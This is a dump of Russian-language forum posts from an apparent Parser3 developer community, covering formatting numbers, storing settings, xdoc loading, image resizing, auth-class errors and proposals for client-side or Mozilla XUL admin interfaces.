Если нужно, чтобы слева приписывались не пробелы, а нули, следует в начале блока Длина поместить 0, например, написать не 10, а 010.\
…\
[/quot]\
\
Что у меня неправильно?\
\
Вообще, все это нужно мне, чтобы значения минут из переменной класса date переводить из однозначного числа в двузначное с нулём вначале. Может можно как-то проще?"
"38425","Да, сейчас я так и сделал, методом тыка попробовав разные варианты. Но по документации это некорректно, ведь после точки идёт точность, а она используется для определения количества знаков после запятой, а мне надо добавить нули перед числом в целой его части. И тем более:\
[quot]\
Обычно точность указывают в том случае, если используется тип преобразования f. Для других типов указывать точность не рекомендуется.\
[/quot]"
"38427","http://www.erdem.ru/html/notice-board/?rid=$rid&cid=$cid&next=$next"
"38428","^str.format[%02u]\
\
 не вижу ничего некорректного, сами же цитировали:\
[quot]…\
Если нужно, чтобы слева приписывались не пробелы, а нули, следует в начале блока Длина поместить 0, например, написать не 10, а 010.\
…[/quot]"
"38431","Мда, впечатляет. И еще парочка сайтов... Например, http://www.sorochinsk.ru/parser3/ или http://www.tvernews.ru/news/archive/index.html\
\
Наглядный пример необходимости читать документацию. :-)\
\
Но наша задача, в данном случае, не хакинг, поиск парсерных листингов :0, да и в полученных от поисковика списках много \"мусора\". Наверное, поисковый запрос можно улучшить?"
"38432","Спасибо. Наверное, это правильный ответ. :-)\
\
Но хочется всегда чего-то большего..."
"38433","Список поддерживает не робот, поэтому много проектов остались с стороне. Походите по сайтам разработчиков, там много интересного :)"
"38434","Есть задача хранить настройки админской части, причем желательно чтоб каждый пользователь мог под себя многие вещи настраивать.\
Ещё желательно чтоб можно было откатываться к дефолтным настройкам.\
\
В БД хранить как-то не удобно-  так как много РАЗНОРОДНОЙ информации в настройках. Я подумал, быть может в hashfile все это хранить с ключиком $.expires(0)? И работать удобно, и доставать.\
В доке написано про хранение настроек на малое количество времени, но если есть expires(0) то он наверное для этого и предназначен?\
\
Что по этому поводу думают заслуженные птицеводы? Или я какие-то грабли просмотрел?\
[code]\
#  пытаемся считать настройки\
^try{\
	$settings[^hashfile::open[*****readmeifyoucan****]]\
	^rem{все ок!}\
}{\
	$exception.handled(1)\
	^rem{ помечаем куда надо что настройки не считать}\
}\
\
# после этого проверяем, если установками что-то не так - то активируем их дефолтные значения\
^if(!def $settings.from_field || !def  $settings.subj_field || !def   $settings.conformation_email ){\
	$settings.from_field[\
		$.value[$default_from_field] \
		$.expires(0)\
		]\
	$settings.subj_field[\
		$.value[$default_subj_field] \
		$.expires(0)\
		]	\
	$settings.conformation_email[\
		$.value[$default_conformation_email]\
		$.expires(0)\
		]\
	}\
	[/code]"
"38435","hashfile не для этого предназначен. он для храрения чего-то временного, чез чего все обойдуться (причем большинство не заметят) если вдруг hashfile грохнут. у вас не тот случай, поэтому вам надо хранить настройки в БД.\
\
[quot]\
В БД хранить как-то не удобно- так как много РАЗНОРОДНОЙ информации в настройках\
[/quot]\
\
поместите их в [b]одно[/b] поле в БД (например в виде xml)."
"38437","Почему все еще нет Perser-Nuke, а если и есть, то где он?"
"38438","Кому надо тот сам напишет.\
Кому не надо тот и парсер на хостинге установить несможет.\
\
ps: Вообще есть проекты динамических Работающих сайтов, поищите по форуму."
"38439","Если разработчики последовали правилу хорошего тона, то найти их можно следующим запросом к [url=\"http://www.yandex.ru/advanced.html\"]Яндексу[/url]:\
[code]Parser (inside|powered by|сердце|душу)[/code]\
\
Дополнительно выставив опцию [url=\"http://www.yandex.ru/advanced.html\"]расширенного поиска[/url] - расположены в одном предложении.\
\
Можно еще поискать только на русском языке и/или со ссылкой на www.parser.ru, тогда почти все результаты будут соотвествовать желаемому."
"38441","Eugene Spearance - в своем примере всё подробно описал:\
[url=\"http://www.parser.ru/examples/imagemagic/\"]Изменение размеров графических изображений внешними программами[/url]\
\
И это работает. Проверял.\
Но вопрос такой. Ведь можно использовать и некие другие обработчики изображений.\
Вот например в [url=\"http://sapid.sourceforge.net/ru/\"]CMS Sapid[/url] которую я использовал до парсера картинки изменяются иначе (Не через ImageMagic)...\
\
В принцыпе всё и так нормально. Но я уверен, что многие не станут использовать ImageMagic именно из-за его размера. (5Mb)\
Я вы сам решил данную проблему. Но к сожалению не знаком с другими обработчиками изображений. Помню что есть еще GD если я не ошибаюсь...\
\
Что думаете об этом? Интересует альтернатива..."
"38442","Добрый день!\
Приведите, плз, пример загрузки xdoc::load с применением доп. хеша параметров, т.е. исходя из доки след. код должен быть правильным.\
[code]\
$xResp[^xdoc::load[http://someserver.com][\
    $.method[POST]\
    $.body[\
    <?xml version='1.0' encoding='UTF-8'?>\
<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" \
  <SOAP-ENV:Body>\
  </SOAP-ENV:Body>\
</SOAP-ENV:Envelope>\
\
    ]\
]]\
[/code]\
\
однако имеем еррор:\
load\
method of xdoc (stateless_class) accepts maximum 1 parameter(s)"
"38443","вы ж даже не смотрели механизмы ни того ни другого... зачем коситься на размер в таком случае?"
"38444","Надо использовать связку file::load + xdoc::create. Т.е. у xdoc::load нет варианта конструктора с двумя параметрами."
"38445","Можно ли проще написать?\
[code]\
^if(!(def $offset)){}\
[/code]"
"38446","можно еще проще - доку почитать..."
"38447","Image::magic на хостинге либо есть, либо нет. Может быть, по вашей просьбе установят, но [i]вам[/i] про эти 5 мегабайт и думать не придется :-)\
\
Если говорить о локальных хостах, то тут тем более размер не имеет значения."
"38448","У меня вот тут такая проблема:\
поставил этот класс, сделал пороль админу, все ОК. Потом зарегился, все ОК! Но когда нажимаю на \"завершить работу\" васкакивает ощибка: \
[quot]\
Unhandled Exception (Debug)\
\
hash may not be overwritten with hash, store it to variable instead\
hash\
\
\
z:/home/27.ru/www/classes/sql.p(159)\
exception.type=parser.runtime \
sql_options z:/home/27.ru/www/classes/sql.p(159)\
sql_options z:/home/27.ru/www/classes/sql.p(122)\
_store_query_info z:/home/27.ru/www/classes/sql.p(122)\
if z:/home/27.ru/www/classes/sql.p(121)\
sql z:/home/27.ru/www/classes/sql.p(159)\
table z:/home/27.ru/www/classes/auth/auth.p(534)\
rem z:/home/27.ru/www/classes/auth/auth.p(534)\
if z:/home/27.ru/www/classes/auth/auth.p(518)\
logEvent z:/home/27.ru/www/classes/auth/auth.p(438)\
if z:/home/27.ru/www/classes/auth/auth.p(428)\
if z:/home/27.ru/www/classes/auth/auth.p(417)\
logout z:/home/27.ru/www/classes/auth/auth.p(135)\
if z:/home/27.ru/www/classes/auth/auth.p(134)\
init z:/home/27.ru/www/_auth_info.html(7)\
rem z:/home/27.ru/www/_auth_info.html(7)\
body z:/home/27.ru/www/classes/sql.p(68)\
connect z:/home/27.ru/www/classes/sql.p(68)\
server z:/home/27.ru/www/_auth_info.html(5)\
[/quot]\
Что бы это значило?"
"38449","Я автор. Проект не умер, просто 24 часов в сутках хватать перестало.\
\
На ваш вопрос отвечу.."
"38451","Проект не умер.\
\
Ругань при старте по-видимому, вызвана отсутствием у вас в системе dll'ек Visual Basic'а и Microsoft Winsock. Если ругается про файл msvbvm60.dll, качаете и ставите это - http://www.microsoft.com/downloads/details.aspx?FamilyId=7B9BA261-7A9C-43E7-9117-F673077FFB3C\
\
Если ругается на mswinsck.ocx , запускаете [code]regsvr32.exe mswinsck.ocx[/code]"
"38452","Сообщество ещё не сложилось. Нет хоть какого-то проекта, который общими усилиями можно развивать под флагом GNU GPL. Но, что-то зреет, вот Aktar, если авторы не откажутся от своего намерения, обещает стать первой ласточкой http://www.parser.ru/forum/?id=38215"
"38454","Я выбрал именно эту потому, что я не только выполняю ресайз, но и вырезаю кадры из изображений, меняю их цветовую палитру, наношу надписи, иконки, рисую рамочки, выполняю монтаж разных фотографий + всё это делаю с разными форматами, и получаю то что нужно.\
\
Сколько она занимает меня не волнует. Больше всего интересует результат."
"38455","поделитесь теорией написания сабжа, ссылками, толковой литературой...\
и будет вам Parser-Nuke"
"38456","мне лично и PHP-Nuke и даже, если бы был и Perl-Nuke (может и есть) нахрен не нужен... Я лучше сяду и напишу свой движок... \
А за основу можно взять все тот же Engine из Imprimature"
"38457","это значит, что пора бы уже выучить, что есть раздел FAQ"
"38458","заодно версии используемых sql.p и mysql.p\
\
есть подозрение что используются старые sql классы."
"38459","Никто не знает хорошей книжке по RSS?"
"38460","[url=\"http://blogs.law.harvard.edu/tech/rss\"]RSS 2.0 Specification[/url]"
"38461","Да знаю я спецификация где :-), мне бы книжку, по-русски.... хочу понять как это вместе работать будет, но все равно спасибо."
"38463","Пишу по спецификации файл rss.xml, к нему XSLT соответственно, все это включаем в html (я думаю раздел новостей делать допустим), а вот как инфу потом вносить? через CVS в Exel? вот и хочу подробную книжку с примерами...."
"38464","Я тоже сегодня напишу, вечерком... Вот приду после работы, покурю, Южный парк посмотрю и напишу. Да чё-там, работы минут на двадцать от силы.\
\
Это лирика. А физика такова, что на сегодняшний день открытых разработок на Парсер нет. И это, на мой взгляд, единственное чем Парсер уступает ПХП, причём сильно уступает. Нет сообществ разработчиков.\
\
Я бы с огромным удовольствием \"сел и написал\" Я честно пробовал. И положил бы под GPL если бы получилось что-то хоть немного путное. Да что там говорить, я даже Мишиным классом авторизации не научился пользоваться. Ну не хватает мозгов или чего там ещё?\
\
Так вот, к чему я этот гон устраиваю. GPL CMS системы на Парсер нужны! Не только потому что таким образом я (или другие злые ленивые ламеры) смогут воспользоваться плодами чужих трудов и срубить себе бабла. А потому, что это прямой путь к созданию очень крутой штуки, которая ПХП-нюки эти (жуткие), по удобству использования и надёжности будет превосходить в разы, если не на порядок.\
\
И не надо говорить, что мол я сюду и напишу... это дело сообщества. А один человек, если это только не такие таланты как Саша Егоров, ничего путного сделать не сможет. Ну или у него должно быть несгибаемое намеренье воина."
"38465","http://www.bikman.ru/texts/techtranslation/rss20spec/\
Может кому надо"
"38466","А как на Парсере проще всего написать то, что на PHP писалось бы $i++?"
"38467","xml нужно не писать, а генерировать, на основании данных, скажем, БД.\
А вносить информацию в новостной раздел, при этом не задумываться об rss."
"38468","$i($i + 1) получается быстрее всего (по сравнению с ^i.inc(1))"
"38470","самокритика всегда в цене - это лирика, а физика такова, что вы мега линивы, и при первом холме, незадумываясь, сами того желая (что еще хуже) падаете вниз со страшной скоростью и радостной улыбкой. Искренне верю, что пробовали, искренне верю, что не получилось ничего... \
Я искренне рад, что \"увидел\" еще одного человека, несомневающегося в мощи PHP-Nuke, при этом стявя свои силы в полный false. Чтож, флаг вам в руки и ждите сообщества разработчиков парсера... но, для начала посмотрите, какие вопросы задают эти самые будующие организаторы... придется ждать лет 30 (с глубоким пафосом)\
\
ЗЫ то, что вы не можете понять чужой код - это не плохо... это ужасно %)\
ЗЫЗЫ качайте php-nuke и раздуйтесь жизни, ведь это круто...\
ЗЫЗЫЗЫ вобщем $result[]"
"38471","добавлен ещё один параметр для кеширования: $.cache_threshold(по умолчанию 100)\
что он делает можно прочитать в комментариях.\
+ небольшие правки текстов и разных мелочей."
"38472","Закончил вариант рисования графиков в Parser.\
Усли работа представляет интерес, пишите, выложу исходники.\
Вот ссылка:\
http://forex.wmforex.com/graph/\
\
P.S. Проэкт рабочий, для WAP, по этому\
под графиком ссылка на вап-страничку."
"38476","Однако я делаю это один, поскольку делиться модулями и разработками никто не хочет. :)\
Соответственно, кроме меня, результат никому не подойдет. :-)"
"38478","Прочитал сообщение Misha об очередном обновлении классса sql и хотел бы попросить о некотором улучшении usability. (Это помимо поясных поклонов и искренней благодарности Мише :-)\
\
Нельзя ли в списке примеров проставить дату последнего обновления для каждого примера, как это делается в самом его тексте и про прикрепленный файл? \
Следить за обновлениями классов станет намного удобнее. \
\
Да и Мише станет легче - не надо помнить, сообщал он уже об обновлениях или нет :-)"
"38479","Мне кажется, что даже если Misha и PAF не сочтут необходимым выложить ваши исходники в Примеры (политика тут оччень строгая :-), все равно стОит выложить исходники в форум. То, что уже не актуально для наших гуру, может быть полезным для других \"участников процесса\" (да и для вас тоже - open source взаимовыгоден, ИМХО)."
"38481","[quot]вы мегаленивы[/quot]\
\
Беспе... э-э-э согласен :) Дык, это скорее положительное качество для разработчика.\
\
[quot]и при первом холме, незадумываясь, сами того желая (что еще хуже) падаете вниз со страшной скоростью и радостной улыбкой.[/quot] \
\
\"Это вас кто-то обманул\" :)\
\
[quot]Я искренне рад, что \"увидел\" еще одного человека, не сомневающегося в мощи PHP-Nuke, при этом стявя свои силы в полный false.[/quot]\
\
??? Я вроде ПХПнюком не восхищался, написал, что он ужасный. Насчёт \"своих сил\"... Мне наверное следовало написать \"Мишиным классом авторизации не научился ПРАВИЛЬНО пользоваться\". Это я так, для придания необходимой трагичности, вы не обольщайтесь на мой счёт :)))\
\
[quot]Чтож, флаг вам в руки и ждите сообщества разработчиков парсера...[/quot]\
\
Таки дождусь, пусть вас не волнует этих глупостей.\
\
[quot]ЗЫ то, что вы не можете понять чужой код - это не плохо... это ужасно %)[quot]\
\
Да что-ж такое-то!? Не говорил я, что не могу понять чужой код!\
\
[quot]ЗЫЗЫ качайте php-nuke и раздуйтесь жизни, ведь это круто...\
ЗЫЗЫЗЫ вобщем $result[][/quot]\
$result[\
[b]GPL РАЗРАБОТКИ НА ПАРСЕР НЕОБХОДИМЫ ДЛЯ ДАЛЬНЕЙШЕГО РАЗВИТИЯ ТЕХНОЛОГИИ И ПОБЕДЫ КОММУНИЗМА!!![/b]\
]"
"38482","и говорит, что подумает. правда, тормозит."
"38483","... работаются под готовую систему. Или я не прав?"
"38485","Подскажите пожалуйста: при передаче форме какого-либо \"нестандартого\" символа, например &#214;, символ перекодируется в десятичное его представление, для &#214; это &#214;. Можно как либо сделать так, чтобы форма получала не десятичный, а символьный код - &Ouml;?"
"38486","за таким поведением замечен MSIE, другие вполне могут делать с буквами, не вмещающимися в кодировку сервера, всё, что захотят.\
\
диагноз: используйте такой $response:charset, в котором нужные вам буквы есть.\
\
в самом общем случае: используйте UTF-8."
"38487","Подскажите, как инклудить PHP-скрипт парсером? У меня получался только результат, когда парсер отображает содержимое файла (т.е. код)."
"38489","Александр, спасибо, это я и хотел узанть, что \"виноват\" броузер. У меня Opera, но ведут себя они с MSIE одинаково.\
Видимо, придется писать рег. выр. для замены десятичного кода на буквенное - тексты, котор. хранятся в БД, содержат именно буквенные коды, т.к. по ним можно поискать без учета регистра: &Ouml; = &ouml;. Более изящного решения пока не вижу..."
"38493","я имею в виду базовые модули ядра + структура бд + соответственно формы администрирования.\
\
например, я был бы счастлив, если б кто поделился методами администрирования  пользователей; а также учета прав пользователя при администрировании сайта."
"38499","кстати есть куча CMS на других языках..."
"38500","Методом проб и ошибок все же заработал тестовый сайт из уроков на все 100 процентов.\
Правильно вы сдесь писали что не надо спрашивть готового ришения\
а самому внимательно разобраться, теперь я знаю эти ошибки ура.[color=\"#ff0000\"]Но сейчас я зашел в тупик\
 как мне вместо надписей на сайте в меню,главная,новости и.т.д.\
на их место вставить рисунки (меню).[/color]"
"38502","Мне помог форум, хотел не остаться в долгу."
"38503","А ка это поле должно называться и как вызываеться рисунок?"
"38504","какое-то добавление к парсеру (вы обратились к ПАФ-у поэтому я подумал что это именно так) или законченый код на персере?\
\
если код на парсере, если он оформлен и снабжен комментариями и вы чувствуете в себе силы получить от меня кучу feedback-а с указанием того, что нужно исправить чтобы попасть в примеры - присылайте :)\
\
если не чувствуете в себе таких сил - можете просто выложить в форум, может кому пригодиться."
"38505","Данные берутся ежеминутно от свободного источника в виде .php разбираются закидываются  в базу. И потом рисуется график по запросу пользователя."
"38507","... а в том как на основе этих данных рисуются графики. Если код написан на Парсере, то оформляйте его для \"Примеров\" и присылайте Мише. [Подробности процесса Миша изложил]"
"38508","А я так и делаю, между прочим. Дело в скорости работы и в меньшей универсальности кода. Я не жалуюсь на горькую судьбинушку, если вы про это."
"38509","Нуууу.. берете, к примеру, мишину структуру БД, потом здесь на форуме кто-то давал ссылки на неработающий движок antistatic, делаете его работающим, потом спрашиваете людей, не поделится ли кто частично своими разработками, получаете отказ, потом полгода сами пишете административные формы... Потом понимаете, что не все учли и - все заново: версия 2. :-))\
\
Про теорию и прочее я не очень понимаю вопроса."
"38510","antistatic! - лишь работающий каркас для тех кто понял в чем задумка engine, но не хочет терять времени для его воссоздания.\
\
На самом деле в форуме, на сайтах и в блогах форуманов на сегодня есть все, чтобы собрать отличную CMS. Все, кроме тривиальных вещей типа панели администратора."
"38511","рядом с бинарником в смысле в папке где лежит парсер.ехе?"
"38512","с тех пор как я написал про engine - в структуре БД изменилось совсем немногое. в методах для frotdend-а лишь добавилось интеллекта и удобных методов/фич для обработчиков.\
\
зато административный интерфейс переписывался заново не раз.\
\
неудобным административным интерфейсом пользоваться не будут (даже сам автор), как бы не была хороша внутренняя структура данных."
"38513","Я в цикле загружаю в одну и туже переменную файл обрабатываю его всячески, записываю в базу выдираемую инфу. При беге на короткие дистанции работает все правильно. При марафонских забегах например в 150 итераций уже ничего не получаеться. Что делать?"
"38514","если вы упираетесь в отведенную память - то compact вам в руки, выполняйте его после каждых 10 файлов, например.\
\
если упираетесь во время выполнения (выполняется слишком долго и броузер отваливается по timeout-у), то или запускайте скрипт из консоли (дока рулит) или оптимизируйте алгоритмы или смотрите в сторону perl."
"38515","правда, рабочей версии пока нет - НАСКОЛЬКО еще не прижимало..."
"38516","потому что:\
1. все равно надо много времени чтобы написать консольное приложение хорошо (а его нет)\
2. доступ к БД на удаленном сервере есть не всегда. а http доступ есть в большем количестве случаев\
3. если делать так, чтобы приложение слало запросы получается достаточно медленно + увеличивается сложность самого приложения + все равно на сервере надо написать достаточно"
"38517","этот клиент работает через 80 порт (ну или через https)... обработкой занимается тот же парсер на сервере, а на клиенте просто навороченый интерфейс, формирующий запросы страниц по обычному http...\
просто по моему опыту запаривает именно админский интерфейс - бесконечные чекбоксы, выпадающие списки, своращивающие/разворачивающиеся блоки информации, скороллеры и т.п...\
а сами запросы в одном файле просто написаны отдельно селекты, а больше апдейты, инсерты и делеты...\
просто тут встает вопрос о формировании какого-то особого протокола поверх http, заточеного для администрирования сайтов... но тут мысль останавливается... это получается \"браузер админа\"... несовместимый со стандартными \"юзерскими\"..."
"38520","Да это не важно, назовите как угодно столбец, например «image». И где нубидь на сервере в папке с картинками выкладываете все нужные картинки. А вот сейчас все самое интересное :) Сейчас нужно почитать про класс [url=\"http://www.parser.ru/docs/lang/imageclass.htm\"]Image[/url] (см. метод [b]^image::measure[][/b] и [b]^картинка.html[/b] ;) )\
\
[color=\"#ffffff\"]Читайте доки, они рулят![/color]"
"38522","Вот вам немного ссылочки… Может быть помогут? ;)\
\
http://misha.design.ru/hobby/progr/engine.html\
http://www.egoroff.spb.ru/portfolio/sources/sources.html\
http://www.parser.ru/docs/\
http://www.parser.ru/links/"
"38527","Спасибо."
"38529","тут вспомнилась старая мысль, вынесу на обсуждение в корень."
"38530","[i]…в продолжение темы\
http://www.parser.ru/forum/?id=38529[/i]\
\
идея использовать для управления сайтом приложение, запускаемое на клиенте, [b]хороша[/b].\
\
мы в Студии эту идею уже реализовали на совсем другом уровне (продукт Imprimatur2 = .NET + GUI клиент + сервер=брокер + SQL-сервер), получилось совсем неплохо. но это отдельные трудозатраты и отдельная цена вопроса.\
\
предлагаю к обсуждению несложную вещь:\
можно доделать Parser3 небольшим набором классов, которые позволят писать на нём… Win32 GUI приложения.\
\
обмен между клиентом и сервером можно организовать поверх HTTP любым удобным способом.\
\
это может показаться необычным-странным: «зачем ещё что-то, если есть другие языки и другие готовые библиотеки?».\
\
отвечу: клиентские приложения, это [b]удобно людям[/b], а такой подход к делу вполне может приблизить появление у [b]ваших клиентов[/b] удобного инструмента.\
\
у самого меня руки до реализации не дойдут.\
однако идея есть давно, предлагаю вдуматься — ведь, по сути, прожиточный минимум совсем небольшой:\
десяток классов control-ов и среда, которая даёт возможность Parser-ному коду их расставлять и реагировать на их события, для начала — [i]это всё[/i].\
\
давайте заглянем вперёд:\
application.p:\
[code]\
@main[]\
$application[^application::create[Это возможно;\
	^mainForm::create[]\
]]\
^application.run[]\
[/code]\
mainForm.p:\
[code]\
@CLASS\
mainForm\
@BASE\
wform\
@create[]\
^BASE:create[]\
$title[Основная форма]\
^controls.add[\
	^wbutton::create[\
		$.text[Нажми меня!]\
		$.on_click[$button1_click]\
		$.x(100)\
		$.y(100)\
	]\
]\
\
@button1_click[]\
^if(^wmessage_box:show[Вопрос;Рассказать сказку?;Да|Нет] eq Да){…}\
[/code]\
\
подумайте — реализовать на C++ совсем необязательно, можно на любом знакомом вам языке програмирования, умеющем общаться с .dll"
"38533","тут самое ужасное:\
$.x(100)\
$.y(100)\
\
потому что я не очень верю в успех win gui application без визаульных средств редактирования элементов интерфейса в 21 веке. а если его делать то это будут немеряные трудозатраты (imho)."
"38534","Скорее всего тут нужен стандартизированный набор классов для реализации на Парсере сервера приложений/брокера запросов к БД, а сами клиенты делать, используя полноценные средства разработки - VisualStudio .NET (благо есть бесплатные варианты), Delphi и т.п. \
\
p.s. Или уж сразу делать Parser.NET... вот только вряд ли найдутся энтузиасты..."
"38535","по-моему синтаксиса парсера не хватает для серьезных объектно-ориентированных приложений.\
\
Если же брать конкретный случай, то imho SOAP + .Net рулит :)\
\
А клиенту пенпердикулярно где у него математика выполняется, ему лишь бы в кайф все было, а это сволне достижимо на уровне браузера. Плюсы же уеб-интерфейса очевидны: браузер есть почти на каждом компе, Imp2 -- на немногих :)"
"38536","[i]…в продолжение темы http://www.parser.ru/forum/?id=38530[/i]\
\
несложно сделать подобное этому:\
\
[code]\
<html>\
<body>\
\
<input type=button value=\"Click Me\" id=btnClick></input>\
\
<script language=\"PerlScript\">\
\
sub btnClick_onclick {\
# Display an alert to the user\
$window->alert(\"You just clicked me!\")\
}\
</script>\
\
</body>\
</html>\
[/code]\
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnclinic/html/scripting01142003.asp\
\
вот описание, как это делается:\
http://msdn.microsoft.com/library/en-us/script56/html/engines.asp?FRAME=true#ch_script_engine\
\
при таком подходе многое можно сделать в самом браузере, без перезагрузки страницы, \
при этом используя привычный Parser3 язык.\
\
административное приложение при этом вполне можно оформить в виде admin.chm\
\
разумеется, операции с локальными объектами (диск/скрипты) — запретить.\
\
тут что важно: приложение может вести активный диалог с сервером, вовсю пользоваться DHTML, при этом изучать ничего дополнительного не нужно."
"38537","заодно добавлена защита от чудиков, которые открыв форму положат на F5 что-нить тяжелое и пойдут обедать :)\
\
пример использования как-же есть в архиве."
"38539","http://blogs.msdn.com/ericlippert/category/4480.aspx"
"38540","При всем уважении, что либо более качественное или/и более удобное в работе, чем Mozilla XUL, малыми силами сделать не выйдет. И, более того, непонятно, зачем делать Win32 GUI на Parser, когда все, что нужно - уже сделано и является развивающимся проектом с весьма большими перспективами (Mozilla XUL Runner). Сомневаюсь, что на Parser можно будет так уж просто реализовать контрол хотя бы вроде лист-чек-бокса, не говоря уж о всяких TreeView с динамической подгрузкой данных. И приведенный Вами пример кода по сравнению с XML-разметкой GUI в XUL - извините, гораздо менее внятен. Не говоря о всех прочих подводных камнях, которые в процессе повсплывают.\
\
Мне кажется, имеет бOльший практический смысл связать Parser3 с Mozilla XUL, написав несложный XPCOM компонент, чтобы можно было использовать возможности Parser непосредственно из XUL-приложений. Вот это - вполне понятная задача, которую можно решить малой кровью, не встраивая в интерпретатор несвойственные ему функции, но получить очень серезный эффект. Аналог для XUL + PHP есть, весьма удобно было, только в последних версиях Mozilla не работает и некоторых фич там не хватало :). А сам XUL/XPCOM имеет встроенную поддержку и SOAP и XML-RPC, так что с протоколом нет проблем - выбирай на вкус.\
PAF, если такой подход Вам интересен - я могу сформулировать подробнее, на основе своего опыта работы c XUL."
"38541","Такую нужную весч можно будет не только к CMS прикрутить...\
\
вот например в Macromedia Homesite существует возможность написать нужное расширение для программы на языке, поддерживаемом этим самым Windows Scripting Host, или как там его. Большинство пользовательских расширений для Homesite именно так и написано (на VBScript, Javascript, либо оформлено отдельной dll'иной с интерфейсом на VBS/JS).\
\
а, скажем, в ActiveState Comodo даже подсветка синтаксиса реализована на python'e, если не ошибаюсь."
"38542","Народ! Пробовал скомпилировать Parser на FreeBSD 4.10, как CGI скрипт, при выполнении make он выдал \"Enternal Compiler Error\". Что это такое думаю разъяснять никому не надо. Проверял необходимые библиотеки, версию компилятора. Ничего..... Потом вспомнил, что есть машина тоже с FreeBSD 4.10(установлена с того же диска), с горя решил скомпилировать на ней. И самое интересное что там он без проблем скомпилировался. Поразительно то, что системы абсолютно одинаковые, разное только железо. Вопрос: возможна ли такая ошибка от железа? Или может быть у кого-то уже такое было. \
Заранее благодарен."
"38543","Если корневой узел xml называется <document>, то вываливается \"exception in request exception handler: Exception 0xC00000FD at 0x100072DD\", в случае переименования все OK. Конструкция - <xsl:apply-templates select=\"document(...) Версия 3.1.4"
"38544","а зачем там ^file:lock[] ?\
\
Ведь, как написано в доке,\
[quot]\
Замечание: в один момент времени с файл может изменяться только одним скриптом, остальные ждут окончания его работы. \
\
[/quot]"
"38545","Несомненно, именно поэтому и жив фрихэнд и иже с ним :)"
"38547","Я давным-давно присматривался к http://www.xmlsapiens.org/spec/"
"38548","мы для таких целей используем xml-rpc сервер на parser-e. Жутко удобно."
"38549","мне пришла в голову похожая мысль, http://www.parser.ru/forum/?id=38536\
\
вы предлагаете концептуально то же самое.\
\
меня беспокоит одно: люди, которые будут пользоваться этим, должны будут разобраться ещё и в XUL. [b]знаю[/b], что это просто, но знаю, что люди разбираться в чём-то не хотят.\
\
но идея очень правильная: так можно использовать привычный язык, быстро получая удобный пользовательский интерфейс, не делая лишних запросов к серверу.\
\
\
да, если есть желание, опишите парой слов с примером что-нибудь, что, как вам кажется, так можно было бы удобно сделать на Parser, чего сейчас сделать нельзя."
"38550","такого быть никогда не должно.\
если используете последнюю версию Parser3, то,\
пожалуйста, оформите в виде самодостаточного bug.html и пришлите мне?"
"38551","[code]\
^if($hashfile.[$uid]){}\
[/code]\
работает немного быстрее\
\
Непонятки: проверка на отмирание записи по времени в хэшфайле производится в момент повторного доступа к ней или в момент очередного открытия хэшфайла?"
"38552","Идея о XUL высказанная kirill v.2 наиболее, на мой взгляд, приемлемая. \
\
Инструмент(Mozilla) всегда доступен для скачивания, развивается, будет достаточно прост для тех людей, для которых XML не пустой звук. Тем более в свете отвоевывания процентов в войне браузеров у IE.\
\
Давайте сформулируем требования к гипотетическому инструменту.\
1. Имеет удобный GUI и API.\
2. Легко доступен.\
3. Динамические запросы и работа с веб сервисами."
"38553","[quot]\
^if($hashfile.[$uid]){} работает немного быстрее\
[/quot]\
\
быстрее чем что? чем ^hashfile.[$uid].int(0)? если да, то в классе мнгое иначе, в тексте примера главное основная идея, а не код.\
\
[quot]\
проверка на отмирание записи по времени в хэшфайле производится в момент повторного доступа к ней или в момент очередного открытия хэшфайла?\
[/quot]\
\
парсер при открытии hashfile не перебирает ключи, не проверяет экспайрнулась запись или нет.\
эти проверки происходят перед доступом на чтения записи.\
 (именно поэтому там есть foreach для очистки)."
"38554","Завтра днем оформлю\
спасибо"
"38555","Сорри, когда писал - эту мысль еще не видел. Да, концептуально - примерно то же. \
[quot]меня беспокоит одно: люди, которые будут пользоваться этим, должны будут разобраться ещё и в XUL. знаю, что это просто, но знаю, что люди разбираться в чём-то не хотят[/quot]\
По моему не есть основная задача упразднить всякий труд :) К тому же мне почему-то кажется, что разобраться в XUL может в конечном счете оказаться проще, чем в соответствующих классах Parser для GUI, если встроить в Parser то, что сейчас умеет XUL/XPCOM :) Поскольку XUL и все, что вокруг него, изначально проектировался для работы именно с виджетами GUI, а Parser - это же интерпретатор, не более ? ИМХО, не стоит мешать мух с котлетами. \
\
Скрещивание XUL с Parser мне пока представляется примерно так, как Вы это описали в мысли про \"script language=Parser3\":\
1. Написание мозилловского компонента xpt (C++), реализующего протокол parser://\
2. При запросе скриптом из XUL по этому протоколу - скрипт обрабатывается интерпретатором Parser3 (как сейчас при использовании в консоли, только без консольного окна). \
3. Результат отдается вызывающему методу. Наиболее удобен будет возврат plain/xml и/или RDF, хотя наверняка можно предусмотреть интерфейсы, возвращающие непосредственно датасеты всякие etc. Но XML/RDF и так вполне достаточно для любых задач.\
\
Это сразу позвозяет:\
1. Лазить в ODBC/MySQL/.../files_datasources непосредственно из XUL, минуя сервер. Это основной положительный момент.\
2. Использовать Parser как обертку для запуска внешних приложений (в XUL есть nsILocalFile.run(params), но как получить результат из stdout - загадка до сих пор. \
2. Загружать данные из удаленных источников, обходя ограничения на безопасность при запуска XUL вне chrome (некритично для XUL Runner, но знаю, что в ряде случаев будет очень полезно).\
3. Скорее всего - решить очень многие проблемы при реализации админки не как standalone/chrome, а как Remote XUL, в том числе генерировать Parser собственно XUL-документы, описывающие формы GUI-интерфейса. \
\
Простейший (и тупейший) пример - с заполнением списка страниц сайта в XUL-Tree через указание RDF datasources:\
\
Конструкция XUL:\
<tree id=\"pGrid\" enableColumnDrag=\"true\" seltype=\"single\" [b]datasources=\"parser:///path/to/parser_script\"[/b] ref=\"http://SF/xsite/tree\" flags=\"dont-build-content\" flex=\"1\" ondblclick=\"editPageParams(event)\" style=\"margin:2px;\"> \
... тут описание колонок и строк дерева, см. xulplanet.com ... \
</tree>\
\
скрипт [z:]/path/to/parser_script возвращает заголовки content-type text/rdf и собственно XML-RDF описание структуры сайта в любой удобной форме, получая данные о структуре сайта непосредственно из базы или откуда угодно, хоть с удаленного хоста (впрочем в последнем случае можно и без протокола parser:// обойтись, интересует именно доступ к базе на локальной машине/сети без запуска там Apache иже с ним).  \
\
В результате имеем интерфейсный виджет с деревом страниц, запоминанием состояния скрыта/открыта ветка дерева и т.п. и т.д. Реализовать такой виджет срествами самого Парсера - это по моему нереальная задача, которую и решать не стоит, уж тем более под win32 only :) XUL - кроссплатформенный, все-таки.\
\
